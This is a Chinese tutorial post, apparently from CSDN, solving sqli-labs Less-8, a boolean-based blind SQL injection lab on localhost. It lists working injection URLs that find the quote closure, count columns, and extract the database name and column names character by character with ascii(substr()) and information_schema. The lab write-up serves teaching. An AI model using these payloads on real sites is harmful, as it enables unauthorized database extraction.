SQL注入漏洞

sqli-labs关卡

第八关——布尔型盲注

根据第八关的题目来看,我们知道是一道布尔型盲注的题,首先来判断闭合字符

http://127.0.0.1/sqli/Less-8/?id=1’——加个单引号没有回显

http://127.0.0.1/sqli/Less-8/?id=1’)--+——页面显示异常,没有回显

输入http://127.0.0.1/sqli/Less-8/?id=1”--+ 页面显示正常

输入http://127.0.0.1/sqli/Less-8/?id=1”)--+页面显示正常

由此判断,我们的闭合字符很可能是“’”或者“’)”,接下来我们需要确定到底是哪一个闭合字符

http://127.0.0.1/sqli/Less-8/?id=1' and 1=1--+ ——真真为真,页面显示正常

http://127.0.0.1/sqli/Less-8/?id=1' and 1=2--+ ——一真一假,页面显示异常

由上即可说明这个闭合字符应该为单引号

接下来我们来判断列数

http://127.0.0.1/sqli/Less-8/?id=1' order by 3--+

http://127.0.0.1/sqli/Less-8/?id=1' order by 4--+

判断列数为3

接下来我们来判断一下当前数据库名的长度,从1开始逐渐增加,我这里只演示一部分

http://127.0.0.1/sqli/Less-8/?id=1' and length(database())>1--+

http://127.0.0.1/sqli/Less-8/?id=1' and length(database())>7--+

http://127.0.0.1/sqli/Less-8/?id=1' and length(database())>8--+

判断出当前数据库名的长度为8

再判断数据库名,对照ascii码表来一一判断,由之前的题目我们可以得知,当前的数据库名为security

判断字符s:

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

判断字符e

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

判断字符c

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),3,1))=99--+

判断字符u

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),4,1))=117--+

判断字符r

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),5,1))=114--+

判断字符i

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),6,1))=105--+

判断字符t

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),7,1))=116--+

判断字符y

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),8,1))=121--+

同样猜测users表中的列名,同猜测数据库名一样,先猜测表名的长度,再根据ASCII码表来改变后面的值和字符位置来猜测名字,这里不再演示了

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where TABLE_name = 'emails' and table_schema = 'security' limit 0,1),1,1))=105--+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值